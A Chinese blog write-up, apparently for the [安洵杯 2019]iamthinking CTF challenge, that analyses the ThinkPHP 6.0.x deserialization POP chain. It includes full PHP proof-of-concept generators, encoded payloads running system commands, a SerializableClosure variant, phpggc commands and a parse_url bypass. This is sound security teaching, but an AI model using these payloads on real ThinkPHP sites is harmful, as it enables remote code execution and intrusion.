[toc]
前几天在 Buuctf 上做了 [安洵杯 2019]iamthinking 这道题,题目给了源码,目的是让通过pop链审计出ThinkPHP6反序列化漏洞。
这里总结一下ThinkPHP6的反序列化漏洞的利用。
composer create-project topthink/think=6.0.x-dev thinkphp-v6.0 cd thinkphp-v6.0 php think run
ThinkPHP6需要php7.1及以上的环境才能搭建成功。
这个漏洞的利用需要利用ThinkPHP进行二次开发,当源码中存在unserialize()函数且参数可控时,既可触发这个洞。
下面手动设置漏洞点,在Index控制器中写入:
<?php namespace app\controller; use app\BaseController; class Index extends BaseController { public function index() { $c = unserialize($_GET['whoami']); // 参数可控的unserialize函数 var_dump($c); return 'Welcome to ThinkPHP!'; } }
下面我们开始研究POP链的构造。
在 ThinkPHP5.x 的POP链中,入口都是 think\process\pipes\Windows
类,通过该类触发任意类的 __toString
方法。但是 ThinkPHP6.x 的代码移除了 think\process\pipes\Windows
类,而POP链 __toString
之后的 Gadget 仍然存在,所以我们得继续寻找可以触发 __toString
方法的点。所有,总的目的就是跟踪寻找可以触发 __toString()
魔术方法的点。
先从起点 __destruct()
或 __wakeup
方法开始,因为它们就是unserialize的触发点。
我们全局搜索 __destruct()
方法,这里发现了 /vendor/topthink/think-orm/src/Model.php 中 Model
类的 __destruct
方法:
并且当满足 $this->lazySave==true
时,它里面含有save()方法会被触发,我们跟进save()方法。
发现对 $this->exists
属性进行判断,如果为true则调用updateData()方法,如果为false则调用insertData()方法。而要想到达这一步,则要先避免被前面的判断给return掉,所以需要先满足下面这个if语句:
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) { return false; }
只需 $this->isEmpty()
为返回false,$this->trigger('BeforeWrite')
返回true即可。
$this->isEmpty()
方法:可见只需要满足$this->data
不为空即可。
$this->trigger()
方法(位于vendor\topthink\think-orm\src\model\concern\ModelEvent.php中):可见只需要满足 $this->withEvent == false
即可返回true。
在通过if判断语句之后,就可以进入到:
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
当 $this->exists == true
时进入 $this->updateData()
;当 $this->exists == false
时进入 $this->insertData()
。
分别跟进这两个方法,发现 updateData()
存在继续利用的点,所以需要 $this->exists == true
,跟进分析。
这里下一步的利用点存在于 $this->checkAllowFields()
中,但是要进入并调用该函数,需要先通过①②两处的if语句:
通过①处if语句:通过上面对trigger()方法的分析,我们知道需要令 $this->withEvent == false
即可通过。由于前面已经绕过了save()方法中的trigger(),所以这里就不用管了。
通过②处if语句:需要 $data == 1
(非空)即可,所以我们跟进 $this->getChangedData()
方法(位于vendor\topthink\think-orm\src\model\concern\Attribute.php中)看一下:
可见,我们只需要令 $this->force == true
即可直接返回 $this-data
,而我们之前也需要设置 $this-data
为非空。
回到 updateData()
中,之后就可以成功调用到了 $this->checkAllowFields()
。
可见,要想成功进入并执行 $this->db()
方法,我们要先通过前面的两个if语句:
通过①处if语句:只需令 $this->field
为空。
通过②处if语句:只需令 $this->schema
非空。
但可以看到field和schema是默认为空的(位于vendor\topthink\think-orm\src\model\concern\Attribute.php中),所以不用管,然后进一步跟进$this->db()
。
可以看到这里已经出现了用 .
进行字符串连接的操作了, 所以我们可以把 $this->table
或 $this->suffix
设置成相应的类对象,此时通过 .
拼接便可以把类对象当做字符串,就可以触发 __toString()
方法了。
目前为止,前半条POP链已经完成,即可以通过字符串拼接去调用 __toString()
,所以先总结一下我们需要设置的点:
$this->data不为空 $this->lazySave == true $this->withEvent == false $this->exists == true $this->force == true
调用过程如下:
__destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table . $this->suffix(字符串拼接)——>toString()
但是还有一个问题就是 Model
类是抽象类,不能实例化。所以要想利用,得找出 Model
类的一个子类进行实例化,这里可以用 Pivot
类(位于\vendor\topthink\think-orm\src\model\Pivot.php中)进行利用:
既然前半条POP链已经能够触发 __toString()
了,下面就是寻找利用点。这次漏洞的 __toString()
利用点位于 vendor\topthink\think-orm\src\model\concern\Conversion.php 中名为Conversion
的trait中:
代码很简单,我们继续跟进 toJson()
方法。
没什么好说的,继续跟进 toArray()
方法。
对 $date
进行遍历,其中 $key
为 $date
的键。默认情况下,会进入第二个 elseif
语句,从而将 $key
作为参数调用 getAttr()
方法。
我们接着跟进 getAttr()
方法(位于 vendor\topthink\think-orm\src\model\concern\Attribute.php 中)。
$value
的值返回自 $this->getData()
方法,且 getData()
方法的参数为上面 toArray()
传进来的 $key
,跟进一下 getData()
方法:
第一个if判断传入的值,如果 $name
值不为空,则将 $name
值传入到getRealFieldName()方法。
这里面 getRealFieldName()
方法的参数,即 $name
,依然是上面 toArray()
传进来的 $key
。
继续跟进 getRealFieldName()
方法:
当满足 $this->strict == true
时(默认为true),直接返回$name
,也就是最开始从 toArray()
方法中传进来的 $key
值。
从 getRealFieldName()
方法回到 getData()
方法,此时 $fieldName
即为 $key
。而返回语句如下:
这实际上就是返回了 $this->data[$key]
。
然后再从 getData()
回到 getAttr()
,最后的返回语句如下:
这时参数 $name
则是从 toArray()
传进来的 $key
,而参数 $value
的值就是 $this->data[$key]
。
继续跟进一下 getValue()
方法。
我们在getValue()方法中可以看到最终的利用点,即:
$closure = $this->withAttr[$fieldName]; $value = $closure($value, $this->data);
只要我们令 $closure
为 "system",$this->data
为要执行的命令就可以动态执行system()函数来Getshell了。
我们尝试令 withAttr[$fieldName]="system"
、$this->data="whoami"
,即执行 system('whoami');
。
但如果要构造以上命令还需要绕过前面的两个if语句:
通过①处if语句:只需 $this->withAttr[$key]
存在。
通过②处if语句:只需 $this->withAttr[$key]
存在且不为数组。
即 $this->withAttr
数组存在和 $date
一样的键 $key
,并且这个键对应的值不能为数组。
至此,后半个POP链也构造完成,总结下__toString() 链需要构造的点:
trait Attribute { private $data = ["evil_key" => "whoami"]; private $withAttr = ["evil_key" => "system"]; }
除此之外还需要将前面说的字符串拼接处的 table
声明为Pivot类的对象,从而将两个POP链串联起来。
第二个POP链调用过程如下:
最终POC如下:
<?php namespace think\model\concern; trait Attribute { private $data = ["evil_key" => "whoami"]; private $withAttr = ["evil_key" => "system"]; } namespace think; abstract class Model { use model\concern\Attribute; private $lazySave; protected $withEvent; private $exists; private $force; protected $table; function __construct($obj = '') { $this->lazySave = true; $this->withEvent = false; $this->exists = true; $this->force = true; $this->table = $obj; } } namespace think\model; use think\Model; class Pivot extends Model { } $a = new Pivot(); $b = new Pivot($a); echo urlencode(serialize($b));
运行得到payload:
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7D
最后,利用我们该开始在Index控制器中创建的可控的反序列化点执行即可:
如上图,成功执行命令。
还有一种方法就是用 ThinkPHP 自带的 SerializableClosure 来调用,我们来看一下这个方法。
主要是上面getValue()方法里的漏洞点,也就是构造pop链的最后的地方:
$closure = $this->withAttr[$fieldName]; $value = $closure($value, $this->data);
我们通过一步步控制 $closure
和 $this->data
最后构造并执行了动态函数。但是由于参数的限制,通过第一种方法我们无法执行 phpinfo()
这样的函数,所以我们尝试另一种方法,也就是利用 SerializableClosure。
\Opis\Closure 可用于序列化匿名函数,使得匿名函数同样可以进行序列化操作。这意味着我们可以序列化一个匿名函数,然后交由上述的 $closure($value, $this->data)
调用执行,即:
$func = function(){phpinfo();}; $closure = new \Opis\Closure\SerializableClosure($func); $closure($value, $this->data); // 这里的参数可以不用管
以上述代码为例,将调用phpinfo()函数。同样也可以通过将 phpinfo();
改为别的来写webshell。
修改上面的POC即可:
<?php namespace think\model\concern; trait Attribute{ private $data; private $withAttr; } trait ModelEvent{ protected $withEvent; } namespace think; abstract class Model{ use model\concern\Attribute; use model\concern\ModelEvent; private $exists; private $force; private $lazySave; protected $suffix; function __construct($a = '') { $func = function(){phpinfo();}; //可写马,测试用的phpinfo; $b=\Opis\Closure\serialize($func); $this->exists = true; $this->force = true; $this->lazySave = true; $this->withEvent = false; $this->suffix = $a; $this->data=['jiang'=>'']; $c=unserialize($b); $this->withAttr=['jiang'=>$c]; } } namespace think\model; use think\Model; class Pivot extends Model{} require 'closure/autoload.php'; echo urlencode(serialize(new Pivot(new Pivot()))); ?>
然后我们要执行这个POC生成payload。虽然 thinkphp 有自带的 SerializableClosure
,但是我需要在本地执行POC,所以就要自行下载 \Opis\Closure: https://github.com/opis/closure。
将下载的Closure与POC放在同一目录
然后执行POC即可生成payload:
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A9%3A%22%00%2A%00suffix%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22jiang%22%3Bs%3A0%3A%22%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22jiang%22%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A163%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22function%22%3Bs%3A23%3A%22function%28%29%7B%5Cphpinfo%28%29%3B%7D%22%3Bs%3A5%3A%22scope%22%3Bs%3A11%3A%22think%5CModel%22%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%22000000007ff4c7fb000000003d8ec45f%22%3B%7D%7D%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22jiang%22%3Bs%3A0%3A%22%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22jiang%22%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A163%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22function%22%3Bs%3A23%3A%22function%28%29%7B%5Cphpinfo%28%29%3B%7D%22%3Bs%3A5%3A%22scope%22%3Bs%3A11%3A%22think%5CModel%22%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%22000000007ff4c7f5000000003d8ec45f%22%3B%7D%7D%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3B%7D
但是SerializableClosure这个方法我在本地没有利用成功,但在最后面安询杯拿到题目里面成功了,不知道为什么。
执行效果如下:
下载地址:https://github.com/wh1t3p1g/phpggc
phpggc是一个反序列化payload生成工具。网上一个大佬已经将ThinkPHP6反序列化的exp添加进phpggc中,需要安装在linux上,然后执行以下命令生成即可生成payload:
php ./phpggc -u thinkphp/rce2 'phpinfo();' php ./phpggc -u thinkphp/rce2 "system('whoami');" # php ./phpggc thinkphp/rce2 <code>
但这里由于用到了SerializableClosure,需要使用编码器编码,不可直接输出拷贝利用。
[安洵杯 2019]iamthinking这道题目利用的就是ThinkPHP V6.0.x 反序列化漏洞。
进入题目,让我们访问/public/目录:
随便构造一个错误发现是thinkphp6的环境,并且提示我们要RCE:
题目给出了源码www.zip。拿到源码先看Index控制器:
这也太简单了,让我们用GET方法传入payload,然后将payload反序列化,不过事先要绕过绕过parse_url函数。
我们可以通过上面的POC构造payload:
<?php namespace think\model\concern; trait Attribute { private $data = ["evil_key" => "ls /"]; // 查看根目录文件 // private $data = ["evil_key" => "cat /flag"]; // 读取flag private $withAttr = ["evil_key" => "system"]; } namespace think; abstract class Model { use model\concern\Attribute; private $lazySave; protected $withEvent; private $exists; private $force; protected $table; function __construct($obj = '') { $this->lazySave = true; $this->withEvent = false; $this->exists = true; $this->force = true; $this->table = $obj; } } namespace think\model; use think\Model; class Pivot extends Model { } $a = new Pivot(); $b = new Pivot($a); echo urlencode(serialize($b));
首先,我们查看根目录的文件,得到payload:
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A4%3A%22ls+%2F%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A4%3A%22ls+%2F%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7D
然后,就要绕过parse_url函数对payload中“O”的检测,parse_url函数有个bug,即在域名(主机名)后面多加了两个斜杠 /
后会报错返回false,所以我们构造类似如下的url即可绕过parse_url函数的检测:
http://xxx.com///public/?payload=O%3A17%3A%22think%5Cmodel%5CPivot......%3Bs%3A6%3A%22system%22%3B%7D%7D
这是因为多加了几个 /
后导致严重不合格的 URL,此时将不能正常返回url中的参数值,遇到这样格式的连接,parse_url函数将会报错返回False,这种情况下可能会绕过某些waf的过滤。
如下成功执行命令:
读取flag:
http://xxx.com///public/?payload=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7D
成功。
还可以利用上面提到的phpggc工具来生成payload:
php ./phpggc -u thinkphp/rce2 'phpinfo();' php ./phpggc -u thinkphp/rce2 "system('cat /flag');" # php ./phpggc thinkphp/rce2 <code>
参考:
https://blog.csdn.net/qq_42181428/article/details/105777872
https://www.anquanke.com/post/id/187393#h2-1
https://www.gaojiufeng.cn/?id=386